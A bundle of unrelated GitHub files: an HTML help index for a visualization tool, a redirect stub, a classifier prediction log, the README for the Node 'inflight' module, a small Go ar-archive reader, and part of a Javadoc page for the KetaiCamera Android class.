<li><a href="help0284.html">Changing view perspective</a></li>
<li><a href="help0285.html">Locking views</a></li>
<li><a href="help0286.html">Saving and reusing views</a></li>
<li><a href="help0287.html">Fullframe mode</a></li>
<li><a href="help0288.html">Choosing a new center of rotation</a></li>
</ul></li>
<li><a href="help0289.html">Animation options</a></li>
<li><a href="help0290.html">Window options</a>
<ul>
<li><a href="help0291.html">Changing bounding-box mode</a></li>
<li><a href="help0292.html">Engaging spin</a></li>
<li><a href="help0293.html">Inverting the foreground and background colors</a></li>
</ul></li>
<li><a href="help0294.html">Clear options</a>
<ul>
<li><a href="help0295.html">Clearing plots from all windows</a></li>
<li><a href="help0296.html">Clearing pick points</a></li>
<li><a href="help0297.html">Clearing reference lines</a></li>
</ul></li>
<li><a href="help0298.html">Plot options</a>
<ul>
<li><a href="help0299.html">Adding a plot</a></li>
<li><a href="help0300.html">Drawing a plot</a></li>
<li><a href="help0301.html">Hiding active plots</a></li>
<li><a href="help0302.html">Deleting active plots</a></li>
</ul></li>
<li><a href="help0303.html">Operator options</a>
<ul>
<li><a href="help0304.html">Adding an operator</a></li>
<li><a href="help0305.html">Removing the last operator</a></li>
<li><a href="help0306.html">Removing all operators</a></li>
</ul></li>
<li><a href="help0307.html">Lock options</a>
<ul>
<li><a href="help0308.html">Locking views</a></li>
<li><a href="help0309.html">Locking time</a></li>
</ul></li>
</ul></li>
</ul>
</body>
</html>
| {
"pile_set_name": "Github"
} |
---
nav_exclude: true
redirect_to: /components/materials/vgl-line-basic-material
---
| {
"pile_set_name": "Github"
} |
idx label predict basePredict correct time
0 3 3 3 1 0:00:02.880090
20 7 5 5 0 0:00:02.805073
40 4 0 4 0 0:00:02.820064
60 7 7 7 1 0:00:02.871635
80 8 8 8 1 0:00:02.823541
100 4 5 5 0 0:00:02.816172
120 8 1 8 0 0:00:02.806945
140 6 6 2 1 0:00:02.810067
160 2 2 2 1 0:00:02.807297
180 0 0 0 1 0:00:02.838913
200 5 -1 5 0 0:00:02.806823
220 7 5 5 0 0:00:02.840619
240 1 1 1 1 0:00:02.858213
260 8 8 8 1 0:00:02.799208
280 9 0 0 0 0:00:02.821887
300 6 6 6 1 0:00:02.797479
320 3 5 5 0 0:00:02.812679
340 2 4 4 0 0:00:02.892300
360 9 9 3 1 0:00:02.792428
380 6 6 2 1 0:00:02.911638
400 9 9 9 1 0:00:02.815027
420 4 4 4 1 0:00:02.792370
440 1 1 1 1 0:00:02.923883
460 5 5 5 1 0:00:02.842309
480 8 9 9 0 0:00:02.804642
500 4 -1 3 0 0:00:02.810035
520 5 5 5 1 0:00:02.801607
540 1 1 1 1 0:00:02.928918
560 0 0 0 1 0:00:02.812259
580 4 -1 4 0 0:00:02.811259
600 8 8 2 1 0:00:02.889546
620 7 7 7 1 0:00:02.915303
640 5 3 3 0 0:00:02.908056
660 9 9 8 1 0:00:02.817740
680 9 9 2 1 0:00:02.838628
700 7 7 7 1 0:00:02.809852
720 4 9 3 0 0:00:02.797126
740 2 5 5 0 0:00:02.813178
760 3 4 4 0 0:00:02.814176
780 9 9 9 1 0:00:02.816268
800 7 7 7 1 0:00:02.824115
820 6 6 3 1 0:00:02.838861
840 7 7 7 1 0:00:02.813105
860 4 7 2 0 0:00:02.812645
880 8 8 8 1 0:00:02.815078
900 2 6 6 0 0:00:02.793755
920 6 6 4 1 0:00:02.812071
940 9 9 9 1 0:00:02.806803
960 9 3 3 0 0:00:02.802866
980 2 4 2 0 0:00:02.797200
1000 5 5 5 1 0:00:02.085867
1020 1 1 1 1 0:00:02.100277
1040 7 5 5 0 0:00:02.118056
1060 9 9 9 1 0:00:02.110197
1080 6 6 6 1 0:00:02.107172
1100 7 8 8 0 0:00:02.109702
1120 5 2 2 0 0:00:02.101982
1140 6 6 5 1 0:00:02.103468
1160 8 8 8 1 0:00:02.118555
1180 3 3 3 1 0:00:02.105474
1200 8 8 8 1 0:00:02.092894
1220 9 6 3 0 0:00:02.094045
1240 2 6 6 0 0:00:02.121433
1260 1 9 9 0 0:00:02.107470
1280 3 5 5 0 0:00:02.102657
1300 4 3 3 0 0:00:02.107618
1320 7 7 2 1 0:00:02.118652
1340 1 1 1 1 0:00:02.111657
1360 7 4 4 0 0:00:02.109088
1380 4 5 5 0 0:00:02.100415
1400 5 3 5 0 0:00:02.109196
1420 4 7 7 0 0:00:02.111921
1440 0 0 8 1 0:00:02.107074
1460 6 6 2 1 0:00:02.096431
1480 1 5 5 0 0:00:02.124278
1500 1 1 1 1 0:00:02.098884
1520 7 7 4 1 0:00:02.093973
1540 8 8 8 1 0:00:02.113646
1560 7 7 7 1 0:00:02.117219
1580 6 1 3 0 0:00:02.079895
1600 8 9 3 0 0:00:02.104424
1620 5 8 8 0 0:00:02.115634
1640 7 3 3 0 0:00:02.130906
1660 3 3 3 1 0:00:02.128610
1680 6 6 3 1 0:00:02.112656
1700 5 3 3 0 0:00:02.140707
1720 4 4 3 1 0:00:02.137134
1740 1 1 1 1 0:00:02.123703
1760 0 0 0 1 0:00:02.093721
1780 7 7 4 1 0:00:02.093524
1800 4 4 4 1 0:00:02.089742
1820 8 8 8 1 0:00:02.079571
1840 8 7 2 0 0:00:02.081524
1860 8 8 8 1 0:00:02.075663
1880 1 1 1 1 0:00:02.079352
1900 8 8 8 1 0:00:02.075339
1920 2 2 2 1 0:00:02.074908
1940 5 2 2 0 0:00:02.071904
1960 2 5 5 0 0:00:02.073450
1980 9 9 9 1 0:00:02.081955
2000 1 1 1 1 0:00:02.081791
2020 9 9 9 1 0:00:02.176082
2040 0 0 0 1 0:00:02.184597
2060 5 3 3 0 0:00:02.152088
2080 1 9 9 0 0:00:02.094718
2100 2 2 2 1 0:00:02.089258
2120 4 8 8 0 0:00:02.088009
2140 9 9 9 1 0:00:02.085713
2160 0 0 8 1 0:00:02.091856
2180 4 4 4 1 0:00:02.083658
2200 0 -1 0 0 0:00:02.095879
2220 1 1 1 1 0:00:02.086118
2240 9 1 1 0 0:00:02.087049
2260 4 4 4 1 0:00:02.082957
2280 4 -1 8 0 0:00:02.120851
2300 3 4 4 0 0:00:02.141434
2320 5 2 2 0 0:00:02.127018
2340 7 7 7 1 0:00:02.082998
2360 7 5 5 0 0:00:02.069689
2380 8 8 8 1 0:00:02.074857
2400 0 0 0 1 0:00:02.074755
2420 8 1 3 0 0:00:02.085046
2440 7 7 7 1 0:00:02.079958
2460 9 4 4 0 0:00:02.083017
2480 8 8 8 1 0:00:02.125803
2500 4 6 4 0 0:00:02.102391
2520 1 8 8 0 0:00:02.136637
2540 2 6 2 0 0:00:02.138430
2560 7 7 5 1 0:00:02.114081
2580 6 5 5 0 0:00:02.110474
2600 8 8 8 1 0:00:02.093834
2620 1 1 1 1 0:00:02.093344
2640 7 7 7 1 0:00:02.088489
2660 3 2 2 0 0:00:02.080566
2680 0 0 0 1 0:00:02.085840
2700 9 1 1 0 0:00:02.076796
2720 3 3 3 1 0:00:02.089307
2740 1 7 2 0 0:00:02.129771
2760 2 2 2 1 0:00:02.125388
2780 7 7 7 1 0:00:02.075708
2800 4 4 3 1 0:00:02.079853
2820 6 6 4 1 0:00:02.073087
2840 3 3 3 1 0:00:02.082134
2860 5 4 4 0 0:00:02.077404
2880 4 4 4 1 0:00:02.090133
2900 3 7 7 0 0:00:02.079825
2920 2 3 3 0 0:00:02.072621
2940 3 0 0 0 0:00:02.090505
2960 9 0 0 0 0:00:02.077677
2980 8 8 8 1 0:00:02.078770
3000 5 5 5 1 0:00:02.087354
3020 1 1 1 1 0:00:02.084888
3040 7 7 7 1 0:00:02.075964
3060 7 7 7 1 0:00:02.076460
3080 1 9 9 0 0:00:02.070922
3100 0 0 0 1 0:00:02.076552
3120 4 4 3 1 0:00:02.075163
3140 8 8 8 1 0:00:02.082846
3160 6 2 2 0 0:00:02.091399
3180 3 6 3 0 0:00:02.094985
3200 5 5 5 1 0:00:02.082474
3220 3 9 9 0 0:00:02.080447
3240 4 0 0 0 0:00:02.082903
3260 7 7 7 1 0:00:02.081252
3280 3 5 5 0 0:00:02.085524
3300 4 4 2 1 0:00:02.086788
3320 2 7 7 0 0:00:02.087878
3340 6 6 0 1 0:00:02.084439
3360 4 4 3 1 0:00:02.086349
3380 8 8 8 1 0:00:02.087158
3400 6 4 4 0 0:00:02.141889
3420 5 7 7 0 0:00:02.161486
3440 2 3 3 0 0:00:02.172920
3460 1 1 1 1 0:00:02.163165
3480 2 2 2 1 0:00:02.127712
3500 1 9 9 0 0:00:02.082904
3520 1 1 1 1 0:00:02.102190
3540 6 6 3 1 0:00:02.082946
3560 1 9 9 0 0:00:02.087601
3580 4 9 4 0 0:00:02.084382
3600 4 2 2 0 0:00:02.084081
3620 0 0 5 1 0:00:02.082407
3640 6 2 2 0 0:00:02.091816
3660 0 0 8 1 0:00:02.084012
3680 0 4 0 0 0:00:02.081883
3700 3 3 3 1 0:00:02.078505
3720 2 2 2 1 0:00:02.087556
3740 0 0 0 1 0:00:02.098212
3760 7 7 7 1 0:00:02.112947
3780 4 4 2 1 0:00:02.090588
3800 9 9 9 1 0:00:02.087948
3820 0 8 8 0 0:00:02.093397
3840 6 3 3 0 0:00:02.086978
3860 7 7 7 1 0:00:02.090245
3880 6 6 5 1 0:00:02.085619
3900 3 6 6 0 0:00:02.081304
3920 7 7 7 1 0:00:02.088410
3940 6 2 2 0 0:00:02.088576
3960 2 2 2 1 0:00:02.129153
3980 9 2 2 0 0:00:02.082983
4000 8 -1 2 0 0:00:02.086519
4020 8 8 8 1 0:00:02.088009
4040 0 0 0 1 0:00:02.087159
4060 6 6 6 1 0:00:02.093405
4080 1 1 1 1 0:00:02.085060
4100 7 7 7 1 0:00:02.082214
4120 4 4 4 1 0:00:02.081842
4140 5 5 3 1 0:00:02.085373
4160 5 3 2 0 0:00:02.093437
4180 0 8 8 0 0:00:02.081558
4200 4 2 2 0 0:00:02.091141
4220 4 0 0 0 0:00:02.073748
4240 7 0 0 0 0:00:02.071523
4260 8 8 8 1 0:00:02.075138
4280 8 0 0 0 0:00:02.080345
4300 8 8 8 1 0:00:02.084909
4320 1 9 8 0 0:00:02.078202
4340 0 0 0 1 0:00:02.098958
4360 6 6 6 1 0:00:02.101852
4380 9 9 9 1 0:00:02.079286
4400 3 5 5 0 0:00:02.082998
4420 5 5 5 1 0:00:02.074622
4440 2 4 2 0 0:00:02.078495
4460 9 9 9 1 0:00:02.111015
4480 9 9 9 1 0:00:02.077490
4500 3 5 5 0 0:00:02.085429
4520 3 6 3 0 0:00:02.081050
4540 9 9 9 1 0:00:02.080282
4560 1 1 1 1 0:00:02.110091
4580 6 6 4 1 0:00:02.080377
4600 4 4 4 1 0:00:02.079911
4620 7 3 3 0 0:00:02.091134
4640 2 2 5 1 0:00:02.080837
4660 7 4 4 0 0:00:02.080168
4680 9 9 1 1 0:00:02.077821
4700 6 5 5 0 0:00:02.077117
4720 8 0 8 0 0:00:02.082727
4740 5 3 3 0 0:00:02.091327
4760 3 2 2 0 0:00:02.078078
4780 0 0 0 1 0:00:02.075157
4800 9 9 9 1 0:00:02.077311
4820 3 3 3 1 0:00:02.076030
4840 0 0 0 1 0:00:02.075007
4860 5 5 5 1 0:00:02.084090
4880 0 8 8 0 0:00:02.079853
4900 3 3 3 1 0:00:02.078492
4920 7 7 7 1 0:00:02.087714
4940 6 6 4 1 0:00:02.113029
4960 4 4 3 1 0:00:02.074206
4980 1 9 9 0 0:00:02.071725
5000 7 7 7 1 0:00:02.076578
5020 8 8 8 1 0:00:02.079635
5040 3 5 3 0 0:00:02.082243
5060 6 6 2 1 0:00:02.072433
5080 7 7 7 1 0:00:02.079408
5100 3 3 3 1 0:00:02.111402
5120 9 8 8 0 0:00:02.087880
5140 8 8 8 1 0:00:02.082523
5160 0 0 8 1 0:00:02.091150
5180 9 7 7 0 0:00:02.080121
5200 3 3 3 1 0:00:02.081434
5220 0 0 0 1 0:00:02.069996
5240 1 1 9 1 0:00:02.072677
5260 0 0 0 1 0:00:02.079825
5280 0 8 8 0 0:00:02.069076
5300 9 9 9 1 0:00:02.084213
5320 7 7 7 1 0:00:02.074146
5340 3 4 4 0 0:00:02.097418
5360 9 9 5 1 0:00:02.083353
5380 1 9 9 0 0:00:02.080916
5400 9 9 9 1 0:00:02.082392
5420 6 6 6 1 0:00:02.080605
5440 9 9 9 1 0:00:02.078723
5460 0 0 0 1 0:00:02.124242
5480 1 1 1 1 0:00:02.093032
5500 8 8 8 1 0:00:02.112120
5520 4 4 3 1 0:00:02.108598
5540 5 -1 5 0 0:00:02.091475
5560 3 5 5 0 0:00:02.079814
5580 5 6 3 0 0:00:02.077776
5600 6 5 3 0 0:00:02.121754
5620 3 6 2 0 0:00:02.102322
5640 2 5 3 0 0:00:02.086572
5660 9 1 8 0 0:00:02.073432
5680 2 3 3 0 0:00:02.081487
5700 3 3 3 1 0:00:02.133428
5720 9 9 9 1 0:00:02.140717
5740 6 -1 4 0 0:00:02.094768
5760 2 2 0 1 0:00:02.100590
5780 7 7 7 1 0:00:02.083713
5800 2 2 2 1 0:00:02.080575
5820 5 5 5 1 0:00:02.083168
5840 2 2 3 1 0:00:02.085610
5860 0 0 8 1 0:00:02.088629
5880 0 0 0 1 0:00:02.091042
5900 4 3 0 0 0:00:02.081298
5920 8 8 8 1 0:00:02.077437
5940 7 2 3 0 0:00:02.071596
5960 2 6 6 0 0:00:02.080213
5980 9 9 9 1 0:00:02.077600
6000 8 8 8 1 0:00:02.076540
6020 6 6 6 1 0:00:02.077627
6040 2 5 7 0 0:00:02.088174
6060 3 4 5 0 0:00:02.094486
6080 1 1 1 1 0:00:02.098423
6100 1 1 1 1 0:00:02.100235
6120 5 5 5 1 0:00:02.084071
6140 9 9 1 1 0:00:02.076578
6160 2 5 5 0 0:00:02.076639
6180 0 0 8 1 0:00:02.087527
6200 3 2 2 0 0:00:02.092858
6220 2 5 5 0 0:00:02.078582
6240 2 2 0 1 0:00:02.088564
6260 2 2 2 1 0:00:02.087164
6280 8 5 5 0 0:00:02.089958
6300 1 1 1 1 0:00:02.084504
6320 0 0 0 1 0:00:02.078403
6340 3 7 3 0 0:00:02.087912
6360 2 2 2 1 0:00:02.083182
6380 3 6 3 0 0:00:02.081561
6400 0 0 0 1 0:00:02.086609
6420 7 7 7 1 0:00:02.087581
6440 3 6 2 0 0:00:02.090466
6460 3 3 3 1 0:00:02.102760
6480 0 0 0 1 0:00:02.105432
6500 7 6 8 0 0:00:02.122891
6520 6 2 2 0 0:00:02.118422
6540 8 8 8 1 0:00:02.077840
6560 6 4 5 0 0:00:02.077981
6580 1 8 8 0 0:00:02.087308
6600 7 7 7 1 0:00:02.102155
6620 7 7 7 1 0:00:02.082549
6640 5 3 3 0 0:00:02.080812
6660 0 0 0 1 0:00:02.093033
6680 3 5 5 0 0:00:02.077867
6700 6 6 6 1 0:00:02.076174
6720 2 2 2 1 0:00:02.078777
6740 2 4 4 0 0:00:02.068458
6760 5 5 5 1 0:00:02.077816
6780 7 7 7 1 0:00:02.078455
6800 6 4 4 0 0:00:02.085975
6820 1 1 1 1 0:00:02.081517
6840 9 9 9 1 0:00:02.071648
6860 0 0 0 1 0:00:02.079344
6880 2 2 2 1 0:00:02.080252
6900 3 3 3 1 0:00:02.088855
6920 5 4 2 0 0:00:02.088011
6940 1 1 1 1 0:00:02.075425
6960 9 9 8 1 0:00:02.077436
6980 0 0 8 1 0:00:02.075909
7000 2 0 8 0 0:00:02.083698
7020 7 7 7 1 0:00:02.081465
7040 7 8 8 0 0:00:02.076952
7060 8 8 8 1 0:00:02.076887
7080 5 4 4 0 0:00:02.073047
7100 9 3 3 0 0:00:02.075003
7120 7 5 5 0 0:00:02.078701
7140 4 3 3 0 0:00:02.073815
7160 5 5 5 1 0:00:02.077156
7180 6 6 3 1 0:00:02.082537
7200 4 6 2 0 0:00:02.104218
7220 9 9 9 1 0:00:02.163087
7240 0 0 8 1 0:00:02.128055
7260 1 1 1 1 0:00:02.088957
7280 1 9 3 0 0:00:02.092807
7300 3 4 5 0 0:00:02.097769
7320 8 0 0 0 0:00:02.140402
7340 2 2 0 1 0:00:02.112117
7360 2 5 2 0 0:00:02.090712
7380 7 7 7 1 0:00:02.077414
7400 3 5 5 0 0:00:02.109245
7420 3 4 4 0 0:00:02.080841
7440 3 3 3 1 0:00:02.073660
7460 5 5 5 1 0:00:02.076406
7480 1 1 8 1 0:00:02.079360
7500 6 6 6 1 0:00:02.080054
7520 4 4 2 1 0:00:02.075738
7540 5 5 5 1 0:00:02.082280
7560 0 0 0 1 0:00:02.083134
7580 8 8 8 1 0:00:02.088054
7600 8 2 2 0 0:00:02.075780
7620 5 1 3 0 0:00:02.078519
7640 9 8 8 0 0:00:02.077411
7660 7 7 4 1 0:00:02.068635
7680 3 9 5 0 0:00:02.073724
7700 6 6 4 1 0:00:02.076680
7720 5 2 2 0 0:00:02.078451
7740 4 4 2 1 0:00:02.075826
7760 2 0 8 0 0:00:02.072428
7780 3 8 8 0 0:00:02.082961
7800 0 0 0 1 0:00:02.084428
7820 5 5 0 1 0:00:02.100070
7840 1 1 1 1 0:00:02.094670
7860 8 8 8 1 0:00:02.073238
7880 0 0 0 1 0:00:02.083988
7900 0 4 8 0 0:00:02.077985
7920 9 9 9 1 0:00:02.091938
7940 2 6 2 0 0:00:02.113084
7960 0 3 3 0 0:00:02.084213
7980 3 -1 3 0 0:00:02.081473
8000 9 9 9 1 0:00:02.081553
8020 6 7 3 0 0:00:02.081813
8040 2 2 2 1 0:00:02.084236
8060 6 6 5 1 0:00:02.074007
8080 4 4 3 1 0:00:02.069959
8100 6 2 2 0 0:00:02.075484
8120 8 9 8 0 0:00:02.078720
8140 5 7 3 0 0:00:02.085317
8160 6 6 6 1 0:00:02.087835
8180 4 -1 4 0 0:00:02.083117
8200 3 6 3 0 0:00:02.076174
8220 6 5 5 0 0:00:02.083180
8240 7 7 4 1 0:00:02.096069
8260 1 1 1 1 0:00:02.080851
8280 4 4 4 1 0:00:02.082978
8300 5 4 2 0 0:00:02.088277
8320 7 7 7 1 0:00:02.085613
8340 5 3 5 0 0:00:02.092966
8360 7 7 7 1 0:00:02.102954
8380 9 9 9 1 0:00:02.089072
8400 0 9 9 0 0:00:02.094039
8420 3 6 6 0 0:00:02.104865
8440 5 3 3 0 0:00:02.091628
8460 8 8 8 1 0:00:02.106249
8480 2 2 2 1 0:00:02.088396
8500 4 4 4 1 0:00:02.120726
8520 8 8 8 1 0:00:02.089736
8540 4 2 2 0 0:00:02.108260
8560 7 7 7 1 0:00:02.093304
8580 3 5 5 0 0:00:02.082824
8600 3 2 2 0 0:00:02.090873
8620 3 2 5 0 0:00:02.088384
8640 1 1 1 1 0:00:02.089084
8660 7 7 7 1 0:00:02.088025
8680 3 7 3 0 0:00:02.086481
8700 3 3 3 1 0:00:02.080363
8720 2 0 0 0 0:00:02.082310
8740 2 5 5 0 0:00:02.083468
8760 8 8 8 1 0:00:02.085789
8780 4 4 2 1 0:00:02.083425
8800 0 0 0 1 0:00:02.086694
8820 2 2 2 1 0:00:02.068209
8840 2 5 2 0 0:00:02.088470
8860 2 2 2 1 0:00:02.083615
8880 1 1 1 1 0:00:02.077284
8900 2 4 4 0 0:00:02.071975
8920 6 6 3 1 0:00:02.086817
8940 6 3 3 0 0:00:02.071574
8960 0 4 2 0 0:00:02.091249
8980 9 9 9 1 0:00:02.090069
9000 8 8 8 1 0:00:02.075146
9020 7 7 7 1 0:00:02.086905
9040 2 5 5 0 0:00:02.073782
9060 9 9 5 1 0:00:02.110262
9080 3 5 3 0 0:00:02.104915
9100 9 1 1 0 0:00:02.135557
9120 3 0 3 0 0:00:02.120550
9140 7 7 4 1 0:00:02.092751
9160 5 3 3 0 0:00:02.085129
9180 5 5 5 1 0:00:02.119094
9200 8 8 8 1 0:00:02.082673
9220 8 8 8 1 0:00:02.078221
9240 8 8 8 1 0:00:02.080944
9260 5 5 5 1 0:00:02.073362
9280 9 8 8 0 0:00:02.094092
9300 5 2 2 0 0:00:02.084475
9320 9 9 9 1 0:00:02.082003
9340 1 1 1 1 0:00:02.079630
9360 5 0 0 0 0:00:02.079694
9380 5 3 3 0 0:00:02.077064
9400 6 6 6 1 0:00:02.072040
9420 5 5 5 1 0:00:02.064410
9440 8 8 8 1 0:00:02.074195
9460 3 7 7 0 0:00:02.084105
9480 2 6 2 0 0:00:02.076477
9500 9 9 2 1 0:00:02.083254
9520 1 1 1 1 0:00:02.091843
9540 5 5 5 1 0:00:02.124641
9560 9 7 7 0 0:00:02.143251
9580 1 1 1 1 0:00:02.104102
9600 8 8 8 1 0:00:02.086114
9620 4 4 4 1 0:00:02.091025
9640 5 5 5 1 0:00:02.082728
9660 6 6 6 1 0:00:02.079244
9680 8 8 8 1 0:00:02.075640
9700 0 0 2 1 0:00:02.072952
9720 8 6 8 0 0:00:02.091900
9740 3 6 2 0 0:00:02.078206
9760 9 5 5 0 0:00:02.083819
9780 4 4 2 1 0:00:02.134992
9800 1 1 1 1 0:00:02.085160
9820 0 8 8 0 0:00:02.107072
9840 4 7 7 0 0:00:02.085320
9860 0 3 8 0 0:00:02.087712
9880 7 8 2 0 0:00:02.088952
9900 8 8 8 1 0:00:02.079859
9920 6 6 6 1 0:00:02.118763
9940 4 5 5 0 0:00:02.077010
9960 2 0 0 0 0:00:02.065571
9980 0 0 0 1 0:00:02.071346
| {
"pile_set_name": "Github"
} |
# inflight
Add callbacks to requests in flight to avoid async duplication
## USAGE
```javascript
var inflight = require('inflight')
// some request that does some stuff
function req(key, callback) {
// key is any random string. like a url or filename or whatever.
//
// will return either a falsey value, indicating that the
// request for this key is already in flight, or a new callback
// which when called will call all callbacks passed to inflightk
// with the same key
callback = inflight(key, callback)
// If we got a falsey value back, then there's already a req going
if (!callback) return
// this is where you'd fetch the url or whatever
// callback is also once()-ified, so it can safely be assigned
// to multiple events etc. First call wins.
setTimeout(function() {
callback(null, key)
}, 100)
}
// only assigns a single setTimeout
// when it dings, all cbs get called
req('foo', cb1)
req('foo', cb2)
req('foo', cb3)
req('foo', cb4)
```
| {
"pile_set_name": "Github"
} |
// Package ar contains a minimal ar archive reader, including only what
// shotizam needs.
package ar
import (
"errors"
"fmt"
"io"
"net/textproto"
"strconv"
"strings"
)
type Reader struct {
ra io.ReaderAt
off int64
headerBuf []byte
}
const (
magic = "!<arch>\n"
fileOff = 0
fileLen = 16
mtimeOff = fileOff + fileLen
mtimeLen = 12
uidOff = mtimeOff + mtimeLen
uidLen = 6 // decimal
gidOff = uidOff + uidLen
gidLen = 6 // decimal
modeOff = gidOff + gidLen
modeLen = 8 // octal
sizeOff = modeOff + modeLen
sizeLen = 10 // decimal
endOff = sizeOff + sizeLen
endHeader = "\x60\x0a"
endHeaderLen = 2
headerLen = fileLen + mtimeLen + uidLen + gidLen + modeLen + sizeLen + endHeaderLen
)
func NewReader(ra io.ReaderAt) (*Reader, error) {
buf := make([]byte, len(magic))
if _, err := ra.ReadAt(buf, 0); err != nil {
return nil, err
}
if string(buf) != magic {
return nil, errors.New("invalid magic")
}
r := &Reader{
ra: ra,
off: int64(len(magic)),
headerBuf: make([]byte, headerLen),
}
return r, nil
}
type File struct {
*io.SectionReader
Name string
Size int64
}
// Next returns the next file or an error.
//
// On EOF, the error is (nil, io.EOF).
func (r *Reader) Next() (*File, error) {
buf := r.headerBuf
n, err := r.ra.ReadAt(buf, r.off)
if err != nil {
return nil, err
}
if n != headerLen {
return nil, fmt.Errorf("read header of %d bytes; want %d", n, headerLen)
}
if string(buf[endOff:endOff+endHeaderLen]) != endHeader {
return nil, fmt.Errorf("bogus header record: %q", buf)
}
f := &File{}
f.Name = textproto.TrimString(string(buf[:fileLen]))
sizeStr := string(buf[sizeOff : sizeOff+sizeLen])
f.Size, err = strconv.ParseInt(textproto.TrimString(sizeStr), 10, 64)
if err != nil {
return nil, fmt.Errorf("unexpected parsing int from %q: %v", sizeStr, err)
}
r.off += headerLen
// macOS extended filename; see ar(5) on macOS.
if strings.HasPrefix(f.Name, "#1/") {
n, err := strconv.Atoi(f.Name[3:])
if err != nil {
return nil, fmt.Errorf("unexpected macOS ar filename %q: %v", f.Name, err)
}
nameBuf := make([]byte, n)
if _, err := r.ra.ReadAt(nameBuf, r.off); err != nil {
return nil, err
}
f.Name = strings.TrimRight(string(nameBuf), "\x00") // why are there nuls at the end?
r.off += int64(n)
f.Size -= int64(n)
}
f.SectionReader = io.NewSectionReader(r.ra, r.off, f.Size)
r.off += f.Size
if r.off&1 != 0 {
r.off++
}
return f, nil
}
| {
"pile_set_name": "Github"
} |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<!-- NewPage -->
<html lang="en">
<head>
<!-- Generated by javadoc (1.8.0_131) on Sun May 21 15:14:28 EDT 2017 -->
<title>KetaiCamera</title>
<meta name="date" content="2017-05-21">
<link rel="stylesheet" type="text/css" href="../../stylesheet.css" title="Style">
<script type="text/javascript" src="../../script.js"></script>
</head>
<body>
<script type="text/javascript"><!--
try {
if (location.href.indexOf('is-external=true') == -1) {
parent.document.title="KetaiCamera";
}
}
catch(err) {
}
//-->
var methods = {"i0":10,"i1":10,"i2":10,"i3":10,"i4":10,"i5":10,"i6":10,"i7":10,"i8":10,"i9":10,"i10":10,"i11":10,"i12":10,"i13":10,"i14":10,"i15":10,"i16":10,"i17":10,"i18":10,"i19":10,"i20":10,"i21":10,"i22":10,"i23":10,"i24":10,"i25":10,"i26":10,"i27":10,"i28":10,"i29":10};
var tabs = {65535:["t0","All Methods"],2:["t2","Instance Methods"],8:["t4","Concrete Methods"]};
var altColor = "altColor";
var rowColor = "rowColor";
var tableTab = "tableTab";
var activeTableTab = "activeTableTab";
</script>
<noscript>
<div>JavaScript is disabled on your browser.</div>
</noscript>
<!-- ========= START OF TOP NAVBAR ======= -->
<div class="topNav"><a name="navbar.top">
<!-- -->
</a>
<div class="skipNav"><a href="#skip.navbar.top" title="Skip navigation links">Skip navigation links</a></div>
<a name="navbar.top.firstrow">
<!-- -->
</a>
<ul class="navList" title="Navigation">
<li><a href="../../overview-summary.html">Overview</a></li>
<li><a href="package-summary.html">Package</a></li>
<li class="navBarCell1Rev">Class</li>
<li><a href="package-tree.html">Tree</a></li>
<li><a href="../../deprecated-list.html">Deprecated</a></li>
<li><a href="../../index-all.html">Index</a></li>
<li><a href="../../help-doc.html">Help</a></li>
</ul>
</div>
<div class="subNav">
<ul class="navList">
<li>Prev Class</li>
<li><a href="../../ketai/camera/KetaiFace.html" title="class in ketai.camera"><span class="typeNameLink">Next Class</span></a></li>
</ul>
<ul class="navList">
<li><a href="../../index.html?ketai/camera/KetaiCamera.html" target="_top">Frames</a></li>
<li><a href="KetaiCamera.html" target="_top">No Frames</a></li>
</ul>
<ul class="navList" id="allclasses_navbar_top">
<li><a href="../../allclasses-noframe.html">All Classes</a></li>
</ul>
<div>
<script type="text/javascript"><!--
allClassesLink = document.getElementById("allclasses_navbar_top");
if(window==top) {
allClassesLink.style.display = "block";
}
else {
allClassesLink.style.display = "none";
}
//-->
</script>
</div>
<div>
<ul class="subNavList">
<li>Summary: </li>
<li>Nested | </li>
<li><a href="#field.summary">Field</a> | </li>
<li><a href="#constructor.summary">Constr</a> | </li>
<li><a href="#method.summary">Method</a></li>
</ul>
<ul class="subNavList">
<li>Detail: </li>
<li><a href="#field.detail">Field</a> | </li>
<li><a href="#constructor.detail">Constr</a> | </li>
<li><a href="#method.detail">Method</a></li>
</ul>
</div>
<a name="skip.navbar.top">
<!-- -->
</a></div>
<!-- ========= END OF TOP NAVBAR ========= -->
<!-- ======== START OF CLASS DATA ======== -->
<div class="header">
<div class="subTitle">ketai.camera</div>
<h2 title="Class KetaiCamera" class="title">Class KetaiCamera</h2>
</div>
<div class="contentContainer">
<ul class="inheritance">
<li>java.lang.Object</li>
<li>
<ul class="inheritance">
<li>processing.core.PImage</li>
<li>
<ul class="inheritance">
<li>ketai.camera.KetaiCamera</li>
</ul>
</li>
</ul>
</li>
</ul>
<div class="description">
<ul class="blockList">
<li class="blockList">
<dl>
<dt>All Implemented Interfaces:</dt>
<dd>java.lang.Cloneable, processing.core.PConstants</dd>
</dl>
<hr>
<br>
<pre>public class <span class="typeNameLabel">KetaiCamera</span>
extends processing.core.PImage</pre>
<div class="block">The Class KetaiCamera allows the processing sketches to access android
cameras through an object modeled after the desktop/java processing Camera
class.</div>
</li>
</ul>
</div>
<div class="summary">
<ul class="blockList">
<li class="blockList">
<!-- =========== FIELD SUMMARY =========== -->
<ul class="blockList">
<li class="blockList"><a name="field.summary">
<!-- -->
</a>
<h3>Field Summary</h3>
<table class="memberSummary" border="0" cellpadding="3" cellspacing="0" summary="Field Summary table, listing fields, and an explanation">
<caption><span>Fields</span><span class="tabEnd"> </span></caption>
<tr>
<th class="colFirst" scope="col">Modifier and Type</th>
<th class="colLast" scope="col">Field and Description</th>
</tr>
<tr class="altColor">
<td class="colFirst"><code>java.lang.Object</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../ketai/camera/KetaiCamera.html#callbackdelegate">callbackdelegate</a></span></code> </td>
</tr>
<tr class="rowColor">
<td class="colFirst"><code>boolean</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../ketai/camera/KetaiCamera.html#enableFlash">enableFlash</a></span></code>
<div class="block">The is rgb preview supported.</div>
</td>
</tr>
<tr class="altColor">
<td class="colFirst"><code>boolean</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../ketai/camera/KetaiCamera.html#isRGBPreviewSupported">isRGBPreviewSupported</a></span></code>
<div class="block">The is rgb preview supported.</div>
</td>
</tr>
<tr class="rowColor">
<td class="colFirst"><code>boolean</code></td>
